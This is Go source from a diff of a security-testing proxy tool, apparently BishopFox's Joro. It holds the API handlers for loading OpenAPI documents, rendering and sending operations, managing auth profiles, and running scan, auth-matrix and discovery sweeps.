writeError(w, http.StatusBadRequest, "invalid raw base64")
return
}
// A captured response arrives with its headers; a pasted document does
// not. Strip a header block only when one is actually present.
data = stripHTTPHeaders(decoded)
sourceURL = req.URL
case req.Text != "":
data = []byte(req.Text)
sourceURL = req.URL
case req.URL != "":
fetched, ct, err := s.fetchSpecViaProxy(r, req.URL, req.UserAgent)
if err != nil {
writeError(w, http.StatusBadGateway, err.Error())
return
}
data, sourceURL = fetched, req.URL
if hint := notADocument(fetched, ct, req.URL); hint != nil {
writeJSON(w, http.StatusUnprocessableEntity, hint)
return
}
default:
writeError(w, http.StatusBadRequest, "one of raw, text or url is required")
return
}
spec, err := apispec.ParseOpenAPI(data, apispec.Options{SourceURL: sourceURL})
if err != nil {
if hint := notADocument(data, "", sourceURL); hint != nil {
writeJSON(w, http.StatusUnprocessableEntity, hint)
return
}
writeError(w, http.StatusBadRequest, err.Error())
return
}
if req.Name != "" {
spec.Title = req.Name
}
s.specStore.Put(spec, data)
writeJSON(w, http.StatusOK, map[string]any{"spec": spec})
}
// fetchSpecViaProxy retrieves a document through Joro's own proxy, so the fetch
// is captured into History, filtered by scope and routed through SOCKS exactly
// as browser traffic is — and so the document is recoverable later from History
// without re-fetching it.
func (s *APIServer) fetchSpecViaProxy(r *http.Request, rawURL, userAgent string) ([]byte, string, error) {
u, err := url.Parse(strings.TrimSpace(rawURL))
if err != nil || u.Host == "" {
return nil, "", fmt.Errorf("could not parse %q as a URL", rawURL)
}
if u.Scheme != "http" && u.Scheme != "https" {
return nil, "", fmt.Errorf("URL scheme must be http or https")
}
target := u.RequestURI()
// A load carries no profile, so the tab's User-Agent is the only operator
// value there is; UserAgentOr falls back for the first load, which has none.
raw := "GET " + target + " HTTP/1.1\r\nHost: " + u.Host + "\r\n" +
"User-Agent: " + apispec.UserAgentOr(userAgent) + "\r\n" +
"Accept: application/json, text/yaml, application/yaml, */*\r\n\r\n"
ctx, cancel := context.WithTimeout(r.Context(), 30*time.Second)
defer cancel()
// A document is routinely megabytes, so this send asks for a larger read than
// the default, which is sized for fingerprinting a batch.
deps := s.specSendDeps()
deps.MaxRespBytes = maxSpecFetchBytes
res, err := httptools.SendViaProxy(ctx, []byte(raw), u.Scheme, u.Host, deps)
if err != nil {
return nil, "", fmt.Errorf("fetching the document: %v", err)
}
body := stripHTTPHeaders(res.RespRaw)
if res.StatusCode < 200 || res.StatusCode >= 300 {
return nil, "", fmt.Errorf("the document URL answered %d", res.StatusCode)
}
// The read is still capped. Past the cap the body is truncated and the parse
// fails with a message about malformed YAML, which sends the operator looking
// for a problem in the document rather than in how it was fetched.
if len(body) >= maxSpecFetchBytes-1024 {
return nil, "", fmt.Errorf(
"the response was truncated at %d MB, which is the limit for a proxied fetch; "+
"download the document and load it from a file instead",
maxSpecFetchBytes/(1<<20))
}
return body, contentTypeOf(res.RespRaw), nil
}
// notADocument builds the hint returned when a URL served something that is not
// a description document.
//
// When the page is an API-documentation UI (Swagger UI and its siblings all
// embed or name the document they render), the hint names it and offers the
// references it loads from — the most common failure becomes the next action.
// A plain HTML page names nothing, so following its own scripts would list the
// site's analytics and bundles as if they were documents; it is offered the
// well-known document paths to sweep instead. The two are told apart by the
// bytes, not assumed from "this is HTML", so neither verdict overclaims.
func notADocument(body []byte, contentType, sourceURL string) map[string]any {
isHTML := strings.Contains(strings.ToLower(contentType), "text/html") ||
apispec.LooksLikeHTMLDocument(body)
if !isHTML {
return nil
}
if ui := apispec.DetectDocUI(body); ui != "" {
candidates := apispec.ExtractSpecRefs(body, sourceURL)
if len(candidates) == 0 {
candidates = priorityCandidates()
}
return map[string]any{
"error": fmt.Sprintf("that URL served the %s page, not an API description document — these are the paths it loads from", ui),
"kind": "html",
"ui": ui,
"contentType": contentType,
"sourceUrl": sourceURL,
"candidates": candidates,
}
}
return map[string]any{
"error": "that URL served an HTML page, not an API description document — try these well-known document paths on this host",
"kind": "html",
"ui": "",
"contentType": contentType,
"sourceUrl": sourceURL,
"candidates": priorityCandidates(),
}
}
// priorityCandidates is the head of the standard discovery wordlist, offered as
// paths to try when a page names no document of its own.
func priorityCandidates() []string {
var out []string
for _, p := range apispec.CandidatePaths("", apispec.CandidatePriority) {
out = append(out, p)
if len(out) >= 12 {
break
}
}
return out
}
func (s *APIServer) handleSpecList(w http.ResponseWriter, r *http.Request) {
type summary struct {
ID string `json:"id"`
Title string `json:"title"`
Format string `json:"format"`
Version string `json:"version"`
Operations int `json:"operations"`
Servers int `json:"servers"`
Diagnostics int `json:"diagnostics"`
SourceURL string `json:"sourceUrl,omitempty"`
SizeBytes int `json:"sizeBytes"`
LoadedAt time.Time `json:"loadedAt"`
}
stored := s.specStore.List()
out := make([]summary, 0, len(stored))
for _, sp := range stored {
out = append(out, summary{
ID: sp.Spec.ID, Title: sp.Spec.Title, Format: string(sp.Spec.Format),
Version: sp.Spec.Version, Operations: len(sp.Spec.Operations),
Servers: len(sp.Spec.Servers), Diagnostics: len(sp.Spec.Diagnostics),
SourceURL: sp.Spec.SourceURL, SizeBytes: sp.Spec.SizeBytes, LoadedAt: sp.LoadedAt,
})
}
writeJSON(w, http.StatusOK, map[string]any{"specs": out})
}
func (s *APIServer) handleSpecGet(w http.ResponseWriter, r *http.Request) {
stored := s.specStore.Get(r.PathValue("id"))
if stored == nil {
writeError(w, http.StatusNotFound, "no such document")
return
}
writeJSON(w, http.StatusOK, map[string]any{"spec": stored.Spec})
}
// handleSpecGetSource returns the original bytes. It is a separate endpoint
// because a document is routinely megabytes and the operator only occasionally
// wants to read it.
func (s *APIServer) handleSpecGetSource(w http.ResponseWriter, r *http.Request) {
stored := s.specStore.Get(r.PathValue("id"))
if stored == nil {
writeError(w, http.StatusNotFound, "no such document")
return
}
writeJSON(w, http.StatusOK, map[string]any{
"source": base64.StdEncoding.EncodeToString(stored.Source),
})
}
// specPlaceholdersRequest replaces a document's generated values. An absent
// field falls back to the default, so clearing one in the UI restores it.
type specPlaceholdersRequest struct {
Placeholders apispec.Placeholders `json:"placeholders"`
}
// handleSpecSetPlaceholders re-parses a stored document with new placeholders.
//
// It re-parses rather than patching the Spec in place because a placeholder
// reaches body bytes as well as Param.Default, and no patch reaches both. The
// spec ID is a hash of the source, so the new parse lands under the same ID and
// the auth profiles defined against it survive.
//
// What the operator typed is untouched: Values outranks Param.Default in Render,
// so a hand-edited parameter or body keeps what was entered, including a value
// produced from the previous placeholder. An in-flight run is untouched too —
// selectOperations copies the operations into the run's Config, so a run renders
// the parse it started with.
func (s *APIServer) handleSpecSetPlaceholders(w http.ResponseWriter, r *http.Request) {
stored := s.specStore.Get(r.PathValue("id"))
if stored == nil {
writeError(w, http.StatusNotFound, "no such document")
return
}
var req specPlaceholdersRequest
if err := decodeJSON(r, &req); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
// Rejected here rather than dropped later: a placeholder can become a header
// parameter's value, and writeHeader silently omits a header whose value
// carries a control character. The operator would see a missing header with
// nothing to explain it.
for name, v := range map[string]string{
"string": req.Placeholders.String, "date": req.Placeholders.Date,
"url": req.Placeholders.URL, "email": req.Placeholders.Email,
} {
if strings.ContainsAny(v, "\r\n\x00") {
writeError(w, http.StatusBadRequest,
"the "+name+" placeholder may not contain a newline or a NUL")
return
}
}
spec, err := apispec.ParseOpenAPI(stored.Source, apispec.Options{
SourceURL: stored.Spec.SourceURL,
Placeholders: req.Placeholders,
})
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
// The operator may have renamed the document on load; a re-parse would
// otherwise revert it to the title the document declares.
spec.Title = stored.Spec.Title
s.specStore.Put(spec, stored.Source)
writeJSON(w, http.StatusOK, map[string]any{"spec": spec})
}
func (s *APIServer) handleSpecDelete(w http.ResponseWriter, r *http.Request) {
if !s.specStore.Delete(r.PathValue("id")) {
writeError(w, http.StatusNotFound, "no such document")
return
}
writeJSON(w, http.StatusOK, map[string]any{"deleted": true})
}
// specRenderRequest asks for the exact bytes one operation would send.
type specRenderRequest struct {
SpecID string `json:"specId"`
OperationID string `json:"operationId"`
ServerIndex *int `json:"serverIndex,omitempty"`
Scheme string `json:"scheme,omitempty"`
Host string `json:"host,omitempty"`
BasePath *string `json:"basePath,omitempty"`
Values map[string]string `json:"values,omitempty"`
ProfileID string `json:"profileId,omitempty"`
UserAgent string `json:"userAgent,omitempty"`
// FuzzParam wraps one parameter's value in FuzzKeyword, for seeding the
// fuzzer. It is done here rather than by the client searching the rendered
// bytes, because the value may be percent-encoded, may appear more than
// once, and may sit inside a JSON body.
FuzzParam string `json:"fuzzParam,omitempty"`
FuzzKeyword string `json:"fuzzKeyword,omitempty"`
// Omit names parameters to leave out entirely, by ValueKey. Distinct from an
// empty entry in Values, which means "send it empty".
Omit []string `json:"omit,omitempty"`
}
func (s *APIServer) handleSpecRender(w http.ResponseWriter, r *http.Request) {
var req specRenderRequest
if err := decodeJSONLimit(r, &req, maxBulkJSONBody); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
op, srv, err := s.resolveOperation(req)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
auth := s.authForProfile(req.SpecID, req.ProfileID)
raw, target, err := apispec.Render(op, srv, apispec.Values(req.Values), auth, apispec.RenderOptions{
UserAgent: req.UserAgent,
FuzzParam: req.FuzzParam,
FuzzMarker: req.FuzzKeyword,
Omit: omitSet(req.Omit),
})
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
writeJSON(w, http.StatusOK, map[string]any{
"raw": base64.StdEncoding.EncodeToString(raw),
"scheme": target.Scheme,
"host": target.Host,
"path": target.Path,
})
}
// specSendRequest sends one operation. When the operator has not hand-edited the
// bytes the server renders again here rather than trusting a cached render, so a
// stale or in-flight preview can never become the request that goes out.
type specSendRequest struct {
specRenderRequest
Raw string `json:"raw,omitempty"` // set only when the operator edited the bytes
}
func (s *APIServer) handleSpecSend(w http.ResponseWriter, r *http.Request) {
var req specSendRequest
if err := decodeJSONLimit(r, &req, maxBulkJSONBody); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
var (
raw []byte
scheme string
host string
)
if req.Raw != "" {
decoded, err := base64.StdEncoding.DecodeString(req.Raw)
if err != nil {
writeError(w, http.StatusBadRequest, "invalid raw base64")
return
}
// Edited bytes go out as written. The profile is deliberately NOT applied
// on this path: it was already baked in by the render the operator then
// edited, and applying it again would duplicate the Authorization header.
raw = decoded
scheme, host = req.Scheme, req.Host
if host == "" {
_, srv, err := s.resolveOperationServer(req.specRenderRequest)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
scheme, host = srv.Scheme, srv.Host
}
} else {
op, srv, err := s.resolveOperation(req.specRenderRequest)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
auth := s.authForProfile(req.SpecID, req.ProfileID)
rendered, target, err := apispec.Render(op, srv, apispec.Values(req.Values), auth,
apispec.RenderOptions{UserAgent: req.UserAgent, Omit: omitSet(req.Omit)})
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
raw, scheme, host = rendered, target.Scheme, target.Host
}
ctx, cancel := context.WithTimeout(r.Context(), 30*time.Second)
defer cancel()
res, err := httptools.SendViaProxy(ctx, raw, scheme, host, s.specSendDeps())
if err != nil {
writeError(w, http.StatusBadGateway, fmt.Sprintf("sending request: %v", err))
return
}
fp := httptools.FingerprintResponse(res.Seq, res.RespRaw, res.Duration.Milliseconds(), false)
writeJSON(w, http.StatusOK, map[string]any{
"raw": base64.StdEncoding.EncodeToString(raw),
"rawResp": base64.StdEncoding.EncodeToString(res.RespRaw),
"status": fp.Status,
"durationMs": res.Duration.Milliseconds(),
"len": fp.Len,
"seq": res.Seq,
"requestId": res.RequestID,
"seqNote": res.SeqNote,
"triage": apiscan.TriageOf(fp.Status, ""),
"url": scheme + "://" + host,
})
}
// specProfilesRequest replaces the profile set for one document.
type specProfilesRequest struct {
SpecID string `json:"specId"`
Profiles []struct {
ID string `json:"id"`
Label string `json:"label"`
Rank int `json:"rank"`
Credentials []apispec.Credential `json:"credentials"`
Headers []apispec.Header `json:"headers"`
Cookies []apispec.Cookie `json:"cookies"`
} `json:"profiles"`
}
func (s *APIServer) handleSpecSetProfiles(w http.ResponseWriter, r *http.Request) {
var req specProfilesRequest
if err := decodeJSON(r, &req); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
if req.SpecID == "" {
writeError(w, http.StatusBadRequest, "specId is required")
return
}
if len(req.Profiles) > apiscan.MaxProfiles {
writeError(w, http.StatusBadRequest,
fmt.Sprintf("%d profiles exceeds the limit of %d", len(req.Profiles), apiscan.MaxProfiles))
return
}
profiles := make([]apiscan.Profile, 0, len(req.Profiles))
for i, p := range req.Profiles {
id := p.ID
if id == "" {
id = fmt.Sprintf("p%d", i)
}
profiles = append(profiles, apiscan.Profile{
ID: id, Label: p.Label, Rank: p.Rank,
Auth: apispec.Auth{Credentials: p.Credentials, Headers: p.Headers, Cookies: p.Cookies},
})
}
s.specStore.SetProfiles(req.SpecID, profiles)
writeJSON(w, http.StatusOK, map[string]any{"count": len(profiles)})
}
// handleSpecListProfiles returns profile identity only.
//
// A credential never comes back out. Token create and rotate are the only
// responses in this API that carry a plaintext secret, and an auth profile is
// not one of them.
func (s *APIServer) handleSpecListProfiles(w http.ResponseWriter, r *http.Request) {
specID := r.URL.Query().Get("specId")
type summary struct {
ID string `json:"id"`
Label string `json:"label"`
Rank int `json:"rank"`
Kinds []string `json:"kinds"`
HasValue bool `json:"hasValue"`
Headers int `json:"headers"`
}
profiles := s.specStore.Profiles(specID)
out := make([]summary, 0, len(profiles))
for _, p := range profiles {
sum := summary{ID: p.ID, Label: p.Label, Rank: p.Rank, Headers: len(p.Auth.Headers), Kinds: []string{}}
for _, c := range p.Auth.Credentials {
sum.Kinds = append(sum.Kinds, string(c.Kind))
if c.Value != "" || c.Password != "" {
sum.HasValue = true
}
}
out = append(out, sum)
}
writeJSON(w, http.StatusOK, map[string]any{"profiles": out})
}
// resolveOperation finds the operation and server a request names.
func (s *APIServer) resolveOperation(req specRenderRequest) (*apispec.Operation, apispec.Server, error) {
op, srv, err := s.resolveOperationServer(req)
if err != nil {
return nil, apispec.Server{}, err
}
if op == nil {
return nil, apispec.Server{}, fmt.Errorf("no operation %q in that document", req.OperationID)
}
return op, srv, nil
}
func (s *APIServer) resolveOperationServer(req specRenderRequest) (*apispec.Operation, apispec.Server, error) {
stored := s.specStore.Get(req.SpecID)
if stored == nil {
return nil, apispec.Server{}, fmt.Errorf("no such document")
}
var op *apispec.Operation
for i := range stored.Spec.Operations {
if stored.Spec.Operations[i].ID == req.OperationID {
op = &stored.Spec.Operations[i]
break
}
}
srv := apispec.Server{}
idx := 0
if req.ServerIndex != nil {
idx = *req.ServerIndex
}
if idx >= 0 && idx < len(stored.Spec.Servers) {
srv = stored.Spec.Servers[idx]
}
// An operation or its path item may override the document's server, which is
// how a gateway document addresses several backing services. Honor it only
// when the operator has not named a host themselves.
if op != nil && len(op.Servers) > 0 && req.Host == "" {
srv = op.Servers[0]
}
// An explicit scheme/host from the operator always wins: a document may
// declare none, declare several, or declare one that is wrong.
if req.Scheme != "" {
srv.Scheme = req.Scheme
}
if req.Host != "" {
srv.Host = req.Host
}
if req.BasePath != nil {
srv.BasePath = *req.BasePath
}
if srv.Host == "" {
return op, srv, fmt.Errorf("no target host: the document declares no server, so one must be supplied")
}
return op, srv, nil
}
// authForProfile returns what a named profile contributes, or nothing.
func (s *APIServer) authForProfile(specID, profileID string) apispec.Auth {
if profileID == "" {
return apispec.Auth{}
}
for _, p := range s.specStore.Profiles(specID) {
if p.ID == profileID {
return p.Auth
}
}
return apispec.Auth{}
}
// specSendDeps assembles what a send needs. Claims is left nil here: these are
// single sends. A run fills in its own.
func (s *APIServer) specSendDeps() httptools.SendDeps {
return httptools.SendDeps{
ProxyAddr: fmt.Sprintf("%s:%d", s.cfg.BindAddr, s.cfg.ProxyPort),
CA: s.ca,
Store: s.store,
}
}
// stripHTTPHeaders removes a leading HTTP message header block, so a captured
// response can be loaded as a document directly. A body that is not an HTTP
// message is returned unchanged.
func stripHTTPHeaders(raw []byte) []byte {
if !strings.HasPrefix(string(peek(raw, 16)), "HTTP/") {
return raw
}
if i := strings.Index(string(raw), "\r\n\r\n"); i >= 0 {
return raw[i+4:]
}
if i := strings.Index(string(raw), "\n\n"); i >= 0 {
return raw[i+2:]
}
return raw
}
func contentTypeOf(raw []byte) string {
head := string(peek(raw, 8192))
for _, line := range strings.Split(head, "\n") {
if name, value, ok := strings.Cut(line, ":"); ok &&
strings.EqualFold(strings.TrimSpace(name), "content-type") {
return strings.TrimSpace(value)
}
}
return ""
}
func peek(b []byte, n int) []byte {
if len(b) < n {
return b
}
return b[:n]
}
// maxSpecFetchBytes bounds a proxied document fetch. Larger than the default
// send cap because the body here is the product, not a fingerprint: GitHub's
// description document is 13 MB and Stripe's 3.7 MB, and the 2 MB default
// truncated both into a parse error that blamed the document.
const maxSpecFetchBytes = 16 << 20
// omitSet turns the wire's list into the set Render wants.
func omitSet(keys []string) map[string]bool {
if len(keys) == 0 {
return nil
}
out := make(map[string]bool, len(keys))
for _, k := range keys {
out[k] = true
}
return out
}
+411
View File
@@ -0,0 +1,411 @@
package api
import (
"context"
"encoding/base64"
"fmt"
"net/http"
"strconv"
"strings"
"github.com/BishopFox/joro/internal/apiscan"
"github.com/BishopFox/joro/internal/apispec"
"github.com/BishopFox/joro/internal/event"
"github.com/BishopFox/joro/internal/proxy"
)
// specScanRequest starts a scan or an auth matrix. The two differ only in how
// many profiles are named — a scan is a matrix with one.
type specScanRequest struct {
SpecID string `json:"specId"`
OperationIDs []string `json:"operationIds"`
ProfileIDs []string `json:"profileIds"`
ServerIndex *int `json:"serverIndex,omitempty"`
Scheme string `json:"scheme,omitempty"`
Host string `json:"host,omitempty"`
BasePath *string `json:"basePath,omitempty"`
Values map[string]map[string]string `json:"values,omitempty"` // opID -> values
Concurrency int `json:"concurrency"`
RatePerSec float64 `json:"ratePerSec"`
TimeoutMs int `json:"timeoutMs"`
BudgetMs int `json:"budgetMs"`
UserAgent string `json:"userAgent"`
AllowDestructive bool `json:"allowDestructive"`
Methods []string `json:"methods,omitempty"`
}
func (s *APIServer) handleSpecScanStart(w http.ResponseWriter, r *http.Request) {
var req specScanRequest
if err := decodeJSONLimit(r, &req, maxBulkJSONBody); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
stored := s.specStore.Get(req.SpecID)
if stored == nil {
writeError(w, http.StatusNotFound, "no such document")
return
}
ops := selectOperations(stored.Spec, req.OperationIDs)
if len(ops) == 0 {
writeError(w, http.StatusBadRequest, "no operations selected")
return
}
profiles, err := s.selectProfiles(req.SpecID, req.ProfileIDs)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
srv := serverFor(stored.Spec, req.ServerIndex, req.Scheme, req.Host, req.BasePath)
if srv.Host == "" {
writeError(w, http.StatusBadRequest,
"no target host: the document declares no server, so scheme and host must be supplied")
return
}
kind := apiscan.KindScan
if len(profiles) > 1 {
kind = apiscan.KindMatrix
}
values := map[string]apispec.Values{}
for opID, v := range req.Values {
values[opID] = apispec.Values(v)
}
cfg := apiscan.Config{
Kind: kind, SpecID: req.SpecID, Server: srv, Ops: ops, Profiles: profiles, Values: values,
Concurrency: req.Concurrency, RatePerSec: req.RatePerSec,
TimeoutMs: req.TimeoutMs, BudgetMs: req.BudgetMs, UserAgent: req.UserAgent,
AllowDestructive: req.AllowDestructive, Methods: normalizeMethods(req.Methods),
}
total, err := apiscan.Plan(cfg)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
run := apiscan.NewRun(proxy.GenerateID(), cfg, total)
s.specRuns.Add(run)
deps := apiscan.Deps{Send: s.specSendDeps(), Broadcast: s.hub.Broadcast()}
go apiscan.Execute(context.Background(), run, deps)
writeJSON(w, http.StatusCreated, map[string]any{
"runId": run.ID, "kind": string(kind), "total": total,
"warnings": s.runWarnings(total),
})
}
// specDiscoverRequest starts a document sweep against a host.
type specDiscoverRequest struct {
Scheme string `json:"scheme"`
Host string `json:"host"`
BasePath string `json:"basePath"`
Full bool `json:"full"`
StopOnFirst bool `json:"stopOnFirst"`
Concurrency int `json:"concurrency"`
RatePerSec float64 `json:"ratePerSec"`
TimeoutMs int `json:"timeoutMs"`
BudgetMs int `json:"budgetMs"`
UserAgent string `json:"userAgent"`
}
func (s *APIServer) handleSpecDiscoverStart(w http.ResponseWriter, r *http.Request) {
var req specDiscoverRequest
if err := decodeJSON(r, &req); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
set := apispec.CandidatePriority
if req.Full {
set = apispec.CandidateFull
}
cfg := apiscan.Config{
Kind: apiscan.KindDiscovery, Scheme: strings.ToLower(req.Scheme), Host: req.Host,
BasePath: req.BasePath, CandidateSet: set, StopOnFirst: req.StopOnFirst,
Concurrency: req.Concurrency, RatePerSec: req.RatePerSec,
TimeoutMs: req.TimeoutMs, BudgetMs: req.BudgetMs, UserAgent: req.UserAgent,
}
if cfg.Scheme == "" {
cfg.Scheme = "https"
}
paths, err := apiscan.PlanDiscovery(cfg)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
run := apiscan.NewRun(proxy.GenerateID(), cfg, len(paths))
s.specRuns.Add(run)
deps := apiscan.Deps{Send: s.specSendDeps(), Broadcast: s.hub.Broadcast()}
// A document found mid-sweep is loaded straight into the store, so the
// operator can switch to it without a second fetch.
//
// Only when it is not already held. A sweep parses with default placeholders,
// so re-finding bytes the operator has since set a placeholder on would
// silently revert their parse under the same ID. If it is already stored,
// switching to it already works, which is all this Put was for.
onSpec := func(spec *apispec.Spec, source []byte) {
if s.specStore.Get(spec.ID) == nil {
s.specStore.Put(spec, source)
}
s.hub.Broadcast() <- event.WSEvent{Type: "spec.run.found", Data: map[string]any{
"runId": run.ID, "specId": spec.ID, "title": spec.Title,
"format": string(spec.Format), "operations": len(spec.Operations),
"sourceUrl": spec.SourceURL,
}}
}
go apiscan.Discover(context.Background(), run, paths, deps, onSpec)
writeJSON(w, http.StatusCreated, map[string]any{
"runId": run.ID, "kind": string(apiscan.KindDiscovery), "total": len(paths),
"warnings": s.runWarnings(len(paths)),
})
}
func (s *APIServer) handleSpecListRuns(w http.ResponseWriter, r *http.Request) {
runs := s.specRuns.List()
out := make([]map[string]any, 0, len(runs))
for _, run := range runs {
completed, errs, skipped, hits := run.Counts()
out = append(out, map[string]any{
"id": run.ID, "kind": string(run.Kind), "specId": run.SpecID,
"status": string(run.Status()), "total": run.Total,
"completed": completed, "errors": errs, "skipped": skipped, "hits": hits,
"createdAt": run.CreatedAt,
})
}
writeJSON(w, http.StatusOK, map[string]any{"runs": out})
}
func (s *APIServer) handleSpecGetRun(w http.ResponseWriter, r *http.Request) {
run := s.specRuns.Get(r.PathValue("id"))
if run == nil {
writeError(w, http.StatusNotFound, "no such run")
return
}
results := run.Results()
offset, limit := pageParams(r, len(results))
// Materialized, never nil: a nil slice marshals as null against a client type
// that says array. See apispec.Spec.normalize.
page := []apiscan.Result{}
if offset < len(results) {
end := min(offset+limit, len(results))
page = results[offset:end]
}
completed, errs, skipped, hits := run.Counts()
writeJSON(w, http.StatusOK, map[string]any{
"id": run.ID, "kind": string(run.Kind), "specId": run.SpecID,
"status": string(run.Status()), "total": run.Total,
"completed": completed, "errors": errs, "skipped": skipped, "hits": hits,
"createdAt": run.CreatedAt,
"results": page, "resultTotal": len(results), "offset": offset, "limit": limit,
})
}
func (s *APIServer) handleSpecGetMatrix(w http.ResponseWriter, r *http.Request) {
run := s.specRuns.Get(r.PathValue("id"))
if run == nil {
writeError(w, http.StatusNotFound, "no such run")
return
}
if run.Kind == apiscan.KindDiscovery {
writeError(w, http.StatusBadRequest, "a discovery run has no auth matrix")
return
}
writeJSON(w, http.StatusOK, apiscan.Matrix(run))
}
// handleSpecGetResult returns one result including its raw bytes, fetched on
// demand rather than streamed, as the fuzzer's detail endpoint is.
func (s *APIServer) handleSpecGetResult(w http.ResponseWriter, r *http.Request) {
run := s.specRuns.Get(r.PathValue("id"))
if run == nil {
writeError(w, http.StatusNotFound, "no such run")
return
}
idx, err := strconv.Atoi(r.PathValue("index"))
if err != nil {
writeError(w, http.StatusBadRequest, "index must be a number")
return
}
res, ok := run.ResultAt(idx)
if !ok {
writeError(w, http.StatusNotFound, "no such result")
return
}
writeJSON(w, http.StatusOK, map[string]any{
"result": stripRaw(res),
"reqRaw": base64.StdEncoding.EncodeToString(res.ReqRaw),
"respRaw": base64.StdEncoding.EncodeToString(res.RespRaw),
})
}
func (s *APIServer) handleSpecStopRun(w http.ResponseWriter, r *http.Request) {
run := s.specRuns.Get(r.PathValue("id"))
if run == nil {
writeError(w, http.StatusNotFound, "no such run")
return
}
if !run.Stop() {
writeError(w, http.StatusConflict, "run is not running")
return
}
writeJSON(w, http.StatusOK, map[string]any{"stopped": true})
}
func (s *APIServer) handleSpecDeleteRun(w http.ResponseWriter, r *http.Request) {
run := s.specRuns.Get(r.PathValue("id"))
if run == nil {
writeError(w, http.StatusNotFound, "no such run")
return
}
if run.Status() == apiscan.StatusRunning {
writeError(w, http.StatusConflict, "stop the run before deleting it")
return
}
s.specRuns.Delete(run.ID)
writeJSON(w, http.StatusOK, map[string]any{"deleted": true})
}
// runWarnings reports conditions the operator should know about before a run
// rather than discover during one.
func (s *APIServer) runWarnings(total int) []string {
out := []string{}
// Every send goes through Joro's own proxy, so an armed intercept pauses each
// one in the operator's queue. At scan volumes that is not a small surprise.
if s.settings.InterceptEnabled {
out = append(out, fmt.Sprintf(
"request intercept is armed, so all %d requests will pause in the Intercept queue", total))
}
if total > 500 {
out = append(out, fmt.Sprintf(
"%d requests will be captured into History, which may evict older traffic from the capture buffer", total))
}
return out
}
func stripRaw(res apiscan.Result) apiscan.Result {
res.ReqRaw, res.RespRaw = nil, nil
return res
}
// selectOperations picks the named operations, preserving document order so a
// results table reads the way the tree does. An empty list means all of them.
func selectOperations(spec *apispec.Spec, ids []string) []apispec.Operation {
if len(ids) == 0 {
out := make([]apispec.Operation, len(spec.Operations))
copy(out, spec.Operations)
return out
}
want := make(map[string]bool, len(ids))
for _, id := range ids {
want[id] = true
}
var out []apispec.Operation
for _, op := range spec.Operations {
if want[op.ID] {
out = append(out, op)
}
}
return out
}
// selectProfiles resolves the named profiles.
//
// Asking for nothing falls back to one unauthenticated profile, which is what
// makes a plain scan a matrix with one profile rather than a separate code path.
// Asking for profiles that do not resolve must not reach that fallback: ids are
// renumbered on re-save, so a stale request is ordinary, and running a
// credentialed matrix anonymously reports every reachable endpoint as open.
func (s *APIServer) selectProfiles(specID string, ids []string) ([]apiscan.Profile, error) {
all := s.specStore.Profiles(specID)
if len(ids) == 0 {
if len(all) == 0 {
return []apiscan.Profile{{ID: "none", Label: "unauthenticated", Rank: 0}}, nil
}
return all, nil
}
want := make(map[string]bool, len(ids))
for _, id := range ids {
want[id] = true
}
var out []apiscan.Profile
for _, p := range all {
if want[p.ID] {
out = append(out, p)
}
}
if len(out) == 0 {
return nil, fmt.Errorf("none of the requested auth profiles exist on this document; re-pick them")
}
if len(out) < len(ids) {
return nil, fmt.Errorf("%d of the %d requested auth profiles no longer exist on this document; re-pick them",
len(ids)-len(out), len(ids))
}
return out, nil
}
func serverFor(spec *apispec.Spec, index *int, scheme, host string, basePath *string) apispec.Server {
srv := apispec.Server{}
idx := 0
if index != nil {
idx = *index
}
if idx >= 0 && idx < len(spec.Servers) {
srv = spec.Servers[idx]
}
if scheme != "" {
srv.Scheme = scheme
}
if host != "" {
srv.Host = host
}
if basePath != nil {
srv.BasePath = *basePath
}
return srv
}
// normalizeMethods upper-cases a supplied whitelist. An empty one leaves the
// default, which excludes DELETE and PATCH.
func normalizeMethods(methods []string) []string {
if len(methods) == 0 {
return nil
}
out := make([]string, 0, len(methods))
for _, m := range methods {
if m = strings.ToUpper(strings.TrimSpace(m)); m != "" {
out = append(out, m)
}
}
return out
}
func pageParams(r *http.Request, total int) (offset, limit int) {
limit = 500
if v := r.URL.Query().Get("limit"); v != "" {
if n, err := strconv.Atoi(v); err == nil && n > 0 && n <= 5000 {
limit = n
}
}
if v := r.URL.Query().Get("offset"); v != "" {
if n, err := strconv.Atoi(v); err == nil && n >= 0 {
offset = n
}
}
return offset, limit
}
+9
View File
@@ -8,6 +8,7 @@ import (
"github.com/BishopFox/joro/internal/browser"
"github.com/BishopFox/joro/internal/event"
"github.com/BishopFox/joro/internal/plugins"
"github.com/BishopFox/joro/internal/update"
)
@@ -135,6 +136,14 @@ func (s *APIServer) handleUpdate(w http.ResponseWriter, r *http.Request) {
return
}
// The new binary will not load plugins the old one built. Say so while the
// banner is still on screen; after the restart it is a row in Settings.
if s.pluginManager != nil {
if notice := plugins.RebuildNotice(s.pluginManager.PluginDir()); notice != "" {
progress(notice)
}
}
s.hub.Broadcast() <- event.WSEvent{
Type: "system.update.restarting",
Data: map[string]string{},
+110
View File
@@ -0,0 +1,110 @@
package api
import (
"net/http"
"github.com/BishopFox/joro/internal/techfp"
)
// techStore returns the fingerprint store, or nil when fingerprinting is not
// wired (listener/team-server mode). The active-scan rule reads it to gate checks.
func (s *APIServer) techStore() *techfp.Store {
if s.techEngine == nil {
return nil
}
return s.techEngine.Store()
}
// techAvailable rejects requests when fingerprinting is not wired, as in listener
// and team-server mode. The routes are also behind the proxy-mode gate in
// registerRoutes.
func (s *APIServer) techAvailable(w http.ResponseWriter) bool {
if s.techEngine == nil {
writeError(w, http.StatusNotFound, "technology fingerprinting is unavailable in this mode")
return false
}
return true
}
// handleListTechHosts returns every fingerprinted host and the summary counts.
